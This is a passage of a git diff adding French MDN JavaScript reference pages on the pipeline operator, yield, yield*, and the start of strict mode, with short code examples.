+<pre class="brush: js">const doubler = (n) =&gt; n * 2;
+const incrementer = (n) =&gt; n + 1;
+
+// Sans l'opérateur tube
+doubler(incrementer(doubler(10))); // 42
+
+// Avec l'opérateur tube
+10 |&gt; doubler |&gt; incrementer |&gt; doubler; // 42
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://tc39.github.io/proposal-pipeline-operator/#sec-intro">Brouillon de spécification pour la proposition de l'opérateur tube</a></td>
+   <td>Niveau 1</td>
+   <td>Ne fait actuellement pas partie de la spécification ECMAScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.pipeline")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://github.com/tc39/proposals">Les propositions au TC39</a></li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/yield/index.html b/files/fr/web/javascript/reference/opérateurs/yield/index.html
new file mode 100644
index 0000000000..f6a5de53e6
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/yield/index.html
@@ -0,0 +1,127 @@
+---
+title: yield
+slug: Web/JavaScript/Reference/Opérateurs/yield
+tags:
+  - ECMAScript 2015
+  - Générateurs
+  - Itérateur
+  - JavaScript
+  - Opérateur
+translation_of: Web/JavaScript/Reference/Operators/yield
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Le mot-clé <code>yield</code> est utilisé pour suspendre et reprendre une fonction génératrice ({{jsxref("Statements/function*", "function*")}} ou <a href="/fr/docs/Web/JavaScript/Reference/Statements/Legacy_generator_function">une fonction génératrice historique</a>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-yield.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox language-html"><em>[[rv =]]</em> yield [[<em>expression</em>]];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>Définit la valeur à retourner depuis la fonction génératrice via <a href="/fr/docs/Web/JavaScript/Reference/Les_protocoles_iteration#Le_protocole_«_itérateur_»">le protocole itérateur</a>. Si omise, <code>undefined</code> sera retournée à la place.</dd>
+ <dt><code>rv</code></dt>
+ <dd>Retourne la valeur optionnelle passée à la méthode <code>next()</code> pour reprendre son exécution.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Le mot-clé <code>yield</code> suspend une fonction génératrice et la valeur de l'expression suivant le mot-clé <code>yield</code> est retournée à l'appelant du générateur. Il peut être vu comme une version générateur du mot-clé <code>return</code>.</p>
+
+<p>Le mot-clé <code>yield</code> ne peut être appelé qu'à partir de la fonction génératrice qui le contient. Il ne peut pas être utilisé depuis des fonctions imbriquées ou avec des <em>callbacks</em>.</p>
+
+<p>Le mot-clé <code>yield</code> retourne en fait un objet <code>IteratorResult</code> ayant deux propriétés, <code>value</code> et <code>done.</code> La propriété <code>value</code> est le résultat de l'évaluation de l'expression <code>yield</code>, et <code>done</code> est <code>false</code>, indiquant que la fonction génératrice n'est pas complètement terminée.</p>
+
+<p>Une fois suspendue sur une expression <code>yield</code>, l'exécution du code du générateur reste suspendue jusqu'à ce que la méthode <code>next()</code> du générateur soit appelée. Chaque fois que la méthode <code>next()</code> du générateur est appelée, le générateur reprend l'exécution et s'exécute jusqu'à ce qu'elle atteigne l'une des situations suivantes :</p>
+
+<ul>
+ <li>
+  <p>un <code>yield</code>, ce qui provoque une nouvelle pause du générateur et retourne la nouvelle valeur du générateur ; la prochaine fois que <code>next()</code> sera appelé, l'exécution reprendra à l'instruction immédiatement après le <code>yield</code> ;</p>
+ </li>
+ <li>
+  <p>{{jsxref ("Statements/throw", "throw")}} est utilisé pour déclencher une exception depuis le générateur ; cela arrête entièrement l'exécution du générateur et l'exécution reprend dans l'appelant, comme c'est normalement le cas lorsqu'une exception est déclenchée ;</p>
+ </li>
+ <li>
+  <p>la fin de la fonction génératrice est atteinte ; dans ce cas, l'exécution du générateur se termine et un <code>IteratorResult</code> est retourné à l'appelant, dans lequel la valeur est {{jsxref ("undefined")}} et <code>done</code> est <code>true</code> ;</p>
+ </li>
+ <li>
+  <p>une instruction {{jsxref ("Statements/return", "return")}} est atteinte ; dans ce cas, l'exécution du générateur se termine et un <code>IteratorResult</code> est retourné à l'appelant dans lequel la <code>value</code> est la valeur spécifiée par l'instruction <code>return</code> et <code>done</code> vaut <code>true</code>.</p>
+ </li>
+</ul>
+
+<p>Si une valeur optionnelle est passée à la méthode <code>next()</code> du générateur, cette valeur devient la valeur retournée par l'opération <code>yield</code> en cours du générateur.</p>
+
+<p>Entre le chemin de code du générateur, ses opérateurs <code>yield</code>, et la possibilité de spécifier une nouvelle valeur de départ en la passant à {{jsxref ("Generator.prototype.next()")}}, les générateurs offrent énormément de puissance et de contrôle.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Le code suivant est la déclaration d'un exemple de fonction génératrice :</p>
+
+<pre><code>function* compteVentesPommes () {
+  var listeVentes = [3, 7, 5];
+  for (var i = 0; i &lt; listeVentes.length; i++) {
+    yield listeVentes[i];
+  }
+}</code></pre>
+
+<p>Une fois qu'une fonction génératrice est définie, elle peut être utilisée en construisant un itérateur comme indiqué.</p>
+
+<pre><code>var magasinPommes = compteVentesPommes(); // Générateur { }
+console.log(magasinPommes.next()); // { value: 3, done: false }
+console.log(magasinPommes.next()); // { value: 7, done: false }
+console.log(magasinPommes.next()); // { value: 5, done: false }
+console.log(magasinPommes.next()); // { value: undefined, done: true }</code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#prod-YieldExpression', 'Yield')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#prod-YieldExpression', 'Yield')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page est généré à partir de données structurées. Si vous souhaitez contribuer aux données, merci de regarder <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez-nous une pull request.</div>
+
+<p>{{Compat("javascript.operators.yield")}}</p>
+
+<h2 id="Notes_spécifiques_à_Firefox">Notes spécifiques à Firefox</h2>
+
+<ul>
+ <li>À partir de Gecko 29 {{geckoRelease(29)}}, une fonction génératrice terminée ne déclenche plus une {{jsxref("TypeError")}} "generator has already finished". À la place, elle renvoie un objet <code>IteratorResult</code> tel que <code>{ value: undefined, done: true }</code> ({{bug(958951)}}).</li>
+ <li>À partir de Gecko 33 {{geckoRelease(33)}}, l'analyse de l'expression <code>yield</code> a été mise à jour afin d'être conforme aux spécifications ES2015 ({{bug(981599)}}):
+  <ul>
+   <li>L'expression après le mot-clé <code>yield</code> est optionnelle et l'omettre ne déclenche plus une {{jsxref("SyntaxError")}} : <code>function* compteVentesPommes() { yield; }</code></li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">Le protocole itérateur</a></li>
+ <li>L'instruction {{jsxref("Instructions/function*", "function*")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>L'opérateur {{jsxref("Opérateurs/yield*", "yield*")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/opérateurs/yield_star_/index.html b/files/fr/web/javascript/reference/opérateurs/yield_star_/index.html
new file mode 100644
index 0000000000..3235d87dc1
--- /dev/null
+++ b/files/fr/web/javascript/reference/opérateurs/yield_star_/index.html
@@ -0,0 +1,162 @@
+---
+title: yield*
+slug: Web/JavaScript/Reference/Opérateurs/yield*
+tags:
+  - ECMAScript 2015
+  - Generators
+  - Iterable
+  - Iterator
+  - JavaScript
+  - Operator
+  - Reference
+translation_of: Web/JavaScript/Reference/Operators/yield*
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Une <strong>expression <code>yield*</code></strong> est utilisée afin de déléguer le mécanisme d'itération/génération à un autre {{jsxref("Instructions/function*", "générateur")}} ou à un autre objet itérable.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/expressions-yieldasterisk.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox language-html"> yield* [[expression]];</pre>
+
+<dl>
+ <dt><code>expression</code></dt>
+ <dd>L'expression qui renvoie un objet itérable.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>L'expression <code>yield*</code> itère sur l'opérande et génère chaque valeur générée par l'opérande.</p>
+
+<p>La valeur de l'expression <code>yield*</code> est la valeur renvoyée par l'itérateur lorsque celui est terminé (la propriété <code>done</code> vaut <code>true</code>).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Délégation_de_la_génération">Délégation de la génération</h3>
+
+<p>Dans le code suivant, les valeurs générées par <code>g1()</code> sont renvoyées grâce aux appels à la fonction <code>next()</code>, comme pour celles renvoyées par <code>g2()</code>.</p>
+
+<pre class="brush: js">function* g1() {
+  yield 2;
+  yield 3;
+  yield 4;
+}
+function* g2() {
+  yield 1;
+  yield* g1();
+  yield 5;
+}
+
+var iterator = g2();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: 4, done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h3 id="Les_autres_objets_itérables">Les autres objets itérables</h3>
+
+<p><code>yield*</code> peut également être utilisé avec d'autres sortes d'itérables (chaînes, tableaux ou arguments) :</p>
+
+<pre class="brush: js">function* g3() {
+  yield* [1, 2];
+  yield* "34";
+  yield* Array.from(arguments);
+}
+
+var iterator = g3(5, 6);
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: "3", done: false }
+console.log(iterator.next()); // { value: "4", done: false }
+console.log(iterator.next()); // { value: 5, done: false }
+console.log(iterator.next()); // { value: 6, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }</pre>
+
+<h3 id="La_valeur_de_l'expression_yield*">La valeur de l'expression <code>yield*</code></h3>
+
+<p><code>yield*</code> est une expression et non une instruction, elle est donc évaluée et fournit une valeur :</p>
+
+<pre class="brush: js">function* g4() {
+  yield* [1, 2, 3];
+  return "toto";
+}
+
+var résultat;
+
+function* g5() {
+  résultat = yield* g4();
+}
+
+var iterator = g5();
+
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: 3, done: false }
+console.log(iterator.next()); // { value: undefined, done: true },
+                              // g4() renvoie{ value: "toto", done: true } at this point
+
+console.log(résultat);          // "toto"</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-generator-function-definitions-runtime-semantics-evaluation', 'Yield')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.operators.yield_star")}}</p>
+
+<h2 id="Notes_relatives_à_Firefox">Notes relatives à Firefox</h2>
+
+<ul>
+ <li>À partir de Gecko 33 {{geckoRelease(33)}}, l'analyse de l'expression <code>yield</code> a été mise à jour pour être conforme aux spécifications ES2015 ({{bug(981599)}}) :
+
+  <ul>
+   <li>La restriction concernant les terminateurs de lignes est désormais implémentée. Il n'est pas autorisé d'avoir un terminateur de ligne entre "yield" et "*". Le code suivant lèvera une exception {{jsxref("SyntaxError")}}:
+    <pre class="brush: js">function* toto() {
+  yield
+  *[];
+}</pre>
+   </li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Le_protocole_iterator">Le protocole itérateur</a></li>
+ <li>L'instruction {{jsxref("Instruction/function*", "function*")}}</li>
+ <li>L'expression {{jsxref("Opérateurs/function*", "function*")}}</li>
+ <li>{{jsxref("Opérateurs/yield", "yield")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/strict_mode/index.html b/files/fr/web/javascript/reference/strict_mode/index.html
new file mode 100644
index 0000000000..6784e2b04e
--- /dev/null
+++ b/files/fr/web/javascript/reference/strict_mode/index.html
@@ -0,0 +1,379 @@
+---
+title: Le mode strict
+slug: Web/JavaScript/Reference/Strict_mode
+tags:
+  - ECMAScript 5
+  - JavaScript
+  - Reference
+  - Strict Mode
+translation_of: Web/JavaScript/Reference/Strict_mode
+---
+<div>{{JsSidebar("More")}}</div>
+
+<p>Le mode strict de <a class="external" href="https://www.ecma-international.org/publications/standards/Ecma-262.htm">ECMAScript 5</a> permet de choisir une variante restrictive de JavaScript. Le mode strict n'est pas seulement un sous-ensemble de JavaScript : il possède <em>intentionnellement</em> des sémantiques différentes du code normal. Les navigateurs ne supportant pas le mode strict exécuteront le code d'une façon légèrement différente de ceux le supportant, il ne faut donc pas compter sur le mode strict pour éviter des tests sur les navigateurs qui ne le supportent pas. Les codes en mode strict et en mode non-strict peuvent coexister, ce qui permet de réécrire les scripts en mode strict de façon incrémentale.</p>
+
+<p>Le mode strict apporte quelques changements à la sémantique « normale » de JavaScript:</p>
+
+<ol>
+ <li>Le mode strict élimine quelques erreurs silencieuses de JavaScript en les changeant en erreurs explicites (une exception sera levée).</li>
+ <li>Le mode strict corrige les erreurs qui font qu'autrement il est difficile pour les moteurs JavaScript d'effectuer des optimisations. Le code sera donc exécuté plus rapidement en mode strict, sans changer une seule ligne si cela n'est pas nécessaire.</li>
+ <li>Le mode strict interdit les mot-clés susceptibles d'être définis dans les futures versions de ECMAScript.</li>
+</ol>
+
+<p>Voir la page <a href="/fr/docs/Web/JavaScript/Reference/Strict_mode/Passer_au_mode_strict">Passer au mode strict</a> pour plus de détails quant à la migration d'une base de code non-stricte vers une base de code compatible avec le mode strict.</p>
+
+<div class="callout-box">
+<p><strong>Note :</strong> Le mode non strict (celui actif par défaut) est parfois appelé « <em>sloppy mode</em> » en anglais. Bien que ce ne soit pas la dénomination officielle, on la rencontre occasionnellement.</p>
+</div>
+
+<h2 id="Invoquer_le_mode_strict">Invoquer le mode strict</h2>
+
+<p>Le mode strict s'applique à des <em>scripts entiers</em> ou à des <em>fonctions individuelles</em>. Il ne peut s'appliquer à des blocs d'instructions entourés d'accolades <code>{}</code>; essayer de l'appliquer dans ces contextes ne fera rien. Les codes présents dans {{jsxref("Objets_globaux/eval","eval()")}}, {{jsxref("Function")}}, les attributs d'événements et les chaînes passées à <a href="/fr/docs/Web/API/WindowTimers/setTimeout"><code>setTimeout</code></a>, ou autres sont des scripts entiers, et invoquer le mode strict à l'intérieur de ceux-ci fonctionnera comme prévu.</p>
+
+<h3 id="Le_mode_strict_pour_les_scripts">Le mode strict pour les scripts</h3>
+
+<p>Pour invoquer le mode strict pour un script entier, on ajoutera l'instruction exacte <code>"use strict";</code> (ou <code>'use strict';</code>) avant toutes les autres instructions.</p>
+
+<pre class="brush: js">// Script entier en mode strict
+"use strict";
+var v = "Allo ! Je suis en mode strict !";
+</pre>
+
+<p>Cette syntaxe possède un piège dans lequel <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=579119">est déjà tombé</a> un site web connu : il n'est pas possible de concaténer du script en mode strict et du code en mode non-strict. En effet, si on concatène du code non-strict à la suite d'un code strict, tout le code sera considéré comme strict. De même si on concatène du code strict à la suite d'un code non-strict, le code entier aura l'air non-strict. Ainsi, on peut concaténer entre eux des codes stricts sans aucun problème et de même concaténer uniquement des codes non-stricts sans problème. En revanche, lorsqu'on mélange les deux, cela pose un problème. Lors d'une phase de transition, il est donc recommandé de n'activer le mode strict que fonction par fonction.</p>
+
+<p>Il est aussi possible d'adopter une approche qui consiste à englober le code du script dans une fonction et à donner à cette dernière le mode strict. Ce procédé élimine le problème de concaténation mais cela signifie aussi qu'on doit exporter chaque variable globale hors de la fonction principale nouvellement créée.</p>
+
+<h3 id="Le_mode_strict_pour_les_fonctions">Le mode strict pour les fonctions</h3>
+
+<p>De même, pour activer le mode strict pour une fonction, on placera l'instruction exacte <code>"use strict";</code> (ou <code>'use strict';</code>) dans le corps de la fonction avant toute autre déclaration.</p>
+
+<pre class="brush: js">function strict() {
+  // Syntaxe en mode strict au niveau de la fonction
+  'use strict';
+  function nested() { return "Ho que oui, je le suis !"; }
+  return "Allô ! Je suis une fonction en mode strict ! " + nested();
+}
+function notStrict() { return "Je ne suis pas strict."; }
+</pre>
+
+<h3 id="Mode_strict_pour_les_modules">Mode strict pour les modules</h3>
+
+<p>ECMAScript 2015 a vu apparaître les modules JavaScript. Le code de ces modules est automatiquement en mode strict et aucune instruction n'est nécessaire pour passer dans ce mode.</p>
+
+<pre class="brush: js">function maFonctionDeModule() {
+  // étant dans un module, le code présent
+  // ici sera d'office en mode strict
+}
+export default maFonctionDeModule;</pre>
+
+<h2 id="Différences_du_mode_strict">Différences du mode strict</h2>
+
+<p>Le mode strict modifie à la fois la syntaxe et le comportement à l'exécution. Les changements se déclinent généralement en trois catégories : ceux qui convertissent les fautes en erreurs (comme des erreurs de syntaxe ou les erreurs d'exécution), ceux qui simplifient comment une variable pour un nom donné est traitée, simplifiant {{jsxref("Objets_globaux/eval","eval()")}} et {{jsxref("Fonctions/arguments","arguments")}} et ceux qui permettent d'écrire plus simplement du code JavaScript pérenne qui anticipe les évolutions futures d'ECMAScript.</p>
+
+<h3 id="Convertir_les_fautes_en_erreurs">Convertir les fautes en erreurs</h3>
+
+<p>Le mode strict change quelques fautes précédemment acceptées, en erreurs. JavaScript a été conçu pour les développeurs novices et, quelquefois, il ne crée pas d'erreur explicite pour certaines instructions qui devraient être des erreurs. Parfois cela règle un problème immédiatement, mais cela peut aussi créer d'autres erreurs, plus loin dans le code. Le mode strict traite ces fautes comme des erreurs afin qu'elles soient découvertes et rapidement traitées.</p>
+
+<p>Premièrement, en mode strict, il est impossible de créer accidentellement des variables globales. En mode normal, ne pas déclarer une variable lors d'une affectation (oublier l'instruction {{jsxref("Instructions/var","var")}}) crée une nouvelle propriété sur l'objet global et le code continue de fonctionner (même si ça peut être une source de problèmes par la suite). Les affectations qui pourraient accidentellement créer des variables globales lèveront une erreur en mode strict:</p>
+
+<pre class="brush: js">"use strict";
+varialeMalDéclarée = 17; // lève une ReferenceError
+</pre>
+
+<p>Deuxièmement, le mode strict fait en sorte que les affectations qui échoueraient silencieusement lèveront aussi une exception. Par exemple, {{jsxref("Objets_globaux/NaN","NaN")}} est une variable globale en lecture seule. En mode normal, une affectation à <code>NaN</code> ne fera rien ; le développeur ne recevra aucun retour par rapport à cette faute. En mode strict, affecter une valeur quelconque à <code>NaN</code> lèvera une exception. Toute affectation qui échouera silencieusement en mode non-strict (affectation à une propriété en lecture seule, affectation à une propriété sans méthode <code>set</code>, affectation à une nouvelle propriété sur un objet <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/preventExtensions">non-extensible</a>) lèvera une exception en mode strict :</p>
+
+<pre class="brush: js">"use strict";
+
+// Affectation à une propriété globale en lecture seule
+var undefined = 5;  // déclenche une exception TypeError
+var Infinity = 5;   // déclenche une exception TypeError
+
+// Affectation à une propriété en lecture seule
+var obj1 = {};
+Object.defineProperty(obj1, "x", { value: 42, writable: false });
+obj1.x = 9; // lève un TypeError
+
+// Affectation à une propriété qui n'a qu'une méthode get
+var obj2 = { get x() { return 17; } };
+obj2.x = 5; // lève un TypeError
+
+// Affectation d'une nouvelle propriété à un objet non-extensible
+var gele= {};
+Object.preventExtensions(gele);
+gele.nouvelleProp = "ohé"; // lève un TypeError
+</pre>
+
+<p>Troisièmement, le mode strict lèvera une exception lors d'une tentative de suppression d'une propriété non-supprimable (là où cela ne produisait aucun effet en mode non strict) :</p>
+
+<pre class="brush: js">"use strict";
+delete Object.prototype; // lève une TypeError
+</pre>
+
+<p>Quatrièmement, le mode strict, avant Gecko 34, requiert que toutes les propriétés nommées dans un objet littéral soient uniques. En mode non-strict, les propriétés peuvent être spécifiées deux fois, JavaScript ne retenant que la dernière valeur de la propriété. Cette duplication en devient alors une source de confusion, surtout dans le cas où, dans une modification de ce même code, on se met à changer la valeur de la propriété autrement qu'en changeant la dernière instance. Les noms de propriété en double sont une erreur de syntaxe en mode strict :</p>
+
+<pre class="brush: js">"use strict";
+var o = { p: 1, p: 2 }; // !!! erreur de syntaxe
+</pre>
+
+<div class="note">
+<p>Cela n'est plus le cas avec ECMAScript 2015 ({{bug(1041128)}}).</p>
+</div>
+
+<p>Cinquièmement, le mode strict requiert que les noms de paramètres de fonction soient uniques. En mode non-strict, le dernier argument dupliqué cache les arguments précédents ayant le même nom. Ces arguments précédents demeurent disponibles via <code>arguments[i]</code>, ils ne sont donc pas complètement inaccessibles. Pourtant, cette cachette n'a guère de sens et n'est probablement pas souhaitable (cela pourrait cacher une faute de frappe, par exemple). Donc en mode strict, les doublons de noms d'arguments sont une erreur de syntaxe :</p>
+
+<pre class="brush: js">function somme(a, a, c) { // !!! erreur de syntaxe
+  "use strict";
+  return a + b + c; // Ce code va planter s'il est exécuté
+}
+</pre>
+
+<p>Sixièmement, le mode strict interdit la syntaxe octale. La syntaxe octale ne fait pas partie d'ECMAScript 5, mais elle est supportée dans tous les navigateurs en préfixant le nombre octal d'un zéro : <code>0644 === 420</code> et <code>"\045" === "%"</code>. La notation octale est supportée en utilisant le préfixe "<code>0o</code>" :</p>
+
+<pre class="brush: js">let a = 0o10; // Notation octale ES2015</pre>
+
+<p>Les développeurs novices croient parfois qu'un zéro débutant un nombre n'a pas de signification sémantique, alors ils l'utilisent comme moyen d'aligner des colonnes de nombres mais ce faisant, ils changent la valeur du nombre ! La syntaxe octale est rarement utile et peut être utilisée de manière fautive, donc le mode strict le considère comme étant une erreur de syntaxe :</p>
+
+<pre class="brush: js">"use strict";
+var somme = 015 + // !!! erreur de syntaxe
+            197 +
+            142;
+</pre>
+
+<p>Septièmement, le mode strict, à partir d'ECMAScript 2015 interdit de définir des propriétés sur des valeurs primitives. Sans mode strict, de telles définitions sont ignorées. En activant le mode strict cela lèvera une exception {{jsxref("TypeError")}}.</p>
+
+<pre class="brush: js">(function() {
+"use strict";
+
+false.true = "";         // TypeError
+(14).calvados= "maison";     // TypeError
+"une chaîne".de = "caractères"; // TypeError
+
+})();</pre>
+
+<h3 id="Simplifier_l'utilisation_des_variables">Simplifier l'utilisation des variables</h3>
+
+<p>Le mode strict simplifie la façon dont les noms de variables sont mis en correspondance avec les définitions de variables dans le code. De nombreuses optimisations du compilateur reposent sur la capacité à dire à quel endroit la variable <em>X</em> est stockée : cela est essentiel pour optimiser pleinement le code JavaScript. JavaScript rend parfois cette mise en correspondance impossible à réaliser avant l'exécution du code. Le mode strict élimine la plupart des cas où cela se produit, de sorte que le compilateur peut mieux optimiser le code en mode strict.</p>
+
+<p>Premièrement, le mode strict interdit l'utilisation de <code>with</code>. Le problème avec <code>with</code> est que tout nom de variable à l'intérieur du bloc peut faire référence à une propriété de l'objet qui lui est passé, ou encore à une variable déclarée à l'extérieur du bloc, globale ou non, à l'exécution : il est impossible de le savoir d'avance. Le mode strict fait de <code>with</code> une erreur de syntaxe, donc il n'y a aucune chance pour qu'un nom déclaré dans un <code>with</code> fasse référence à un lieu inconnu à l'exécution :</p>
+
+<pre class="brush: js">"use strict";
+var x = 17;
+with (obj) // !!! erreur de syntaxe
+{
+  // Si on n'était pas en mode strict, serait-ce var x,
+  // ou serait-ce plutôt obj.x?  Il est impossible en général
+  // de le dire sans faire tourner le code, donc
+  // le nom ne peut pas être optimisé.
+  x;
+}
+</pre>
+
+<p>Au lieu d'utiliser <code>with</code>, on peut très bien assigner l'objet à une variable avec un nom court, puis accéder aux propriétés correspondantes à cette variable.</p>
+
+<p>Deuxièmement, <a class="external" href="https://whereswalden.com/2011/01/10/new-es5-strict-mode-support-new-vars-created-by-strict-mode-eval-code-are-local-to-that-code-only/"><code>eval</code> en mode strict ne doit pas créer de variables dont la portée dépasse celle du <code>eval</code></a>. En mode non-strict, <code>eval("var x;")</code> crée la variable <code>x</code> dans le code appelant <code>eval</code>. Ce qui signifie qu'en général, dans une fonction contenant un appel à <code>eval</code>, tous les noms qui ne réfèrent pas à un paramètre ou une variable locale devront être mis en correspondance avec une définition de variable lors de l'exécution (puisque cet <code>eval</code> a introduit une nouvelle variable qui serait susceptible de modifier la variable externe). En mode strict, <code>eval</code> ne crée des variables que pour le code étant évalué, ainsi <code>eval</code> ne peut pas réaliser d'affectation à une variable externe ou à une variable locale :</p>
+
+<pre class="brush: js">var x = 17;
+var evalX = eval("'use strict'; var x = 42; x");
+console.log(x === 17);
+console.log(evalX === 42);
+</pre>
+
+<p>De la même manière, si la fonction <code>eval</code> est invoquée par une expression de la forme <code>eval(...)</code> dans un code en mode strict, le code sera aussi évalué en mode strict. Le code peut déclarer explicitement le mode strict, mais il est inutile de le faire.</p>
+
+<pre class="brush: js">function strict1(str) {
+  "use strict";
+  return eval(str); // str sera évalué en mode strict
+}
+function strict2(f, str) {
+  "use strict";
+  return f(str); // pas de eval(...) : str est strict si et seulement si il est déclaré en mode strict
+}
+function nonstrict(str) {
+  return eval(str); // str est strict si et seulement si il est déclaré en mode strict
+}
+
+strict1("'Mode strict!'");
+strict1("'use strict'; 'Mode strict!'");
+strict2(eval, "'Mode non-strict.'");
+strict2(eval, "'use strict'; 'Mode strict!'");
+nonstrict("'Mode non-strict.'");
+nonstrict("'use strict'; 'Mode strict!'");
+</pre>
+
+<p>Ainsi, les noms dans le code <code>eval</code> en mode strict se comportent de la même façon que les noms dans le code en mode strict n'étant pas évalués comme le résultat de <code>eval</code>.</p>
+
+<p>Troisièmement, le mode strict interdit la suppression des variables déclarées. <code>delete name</code> en mode strict est une erreur de syntaxe:</p>
+
+<pre class="brush: js">"use strict";
+eval("var x; delete x;"); // !!! erreur de syntaxe
+</pre>
+
+<h3 id="Rendre_eval_et_arguments_plus_simples">Rendre <code>eval</code> et <code>arguments</code> plus simples</h3>
+
+<p>Le mode strict rend {{jsxref("Fonctions/arguments","arguments")}} et {{jsxref("Objets_globaux/eval","eval()")}} moins « étranges ». Les deux impliquent une quantité de comportements étranges dans le code en mode non-strict : <code>eval</code> afin d'ajouter et d'enlever des liaisons et pour changer les valeurs de liaisons, et <code>arguments</code> via ses propriétés indexées faisant référence à des arguments nommés. Le mode strict permet de mieux traîter <code>eval</code> et <code>arguments</code> comme des mots-clés à part entière, bien qu'une <em>réparation</em> complète ne devrait pas arriver avant une version future d'ECMAScript.</p>
+
+<p>Premièrement, les chaînes <code>eval</code> et <code>arguments</code> ne peuvent pas être utilisées comme identificateur. Tous les exemples suivants entraînent des erreurs de syntaxe :</p>
+
+<pre class="brush: js">"use strict";
+eval = 17;
+arguments++;
+++eval;
+var obj = { set p(arguments) { } };
+var eval;
+try { } catch (arguments) { }
+function x(eval) { }
+function arguments() { }
+var y = function eval() { };
+var f = new Function("arguments", "'use strict'; return 17;");
+</pre>
+
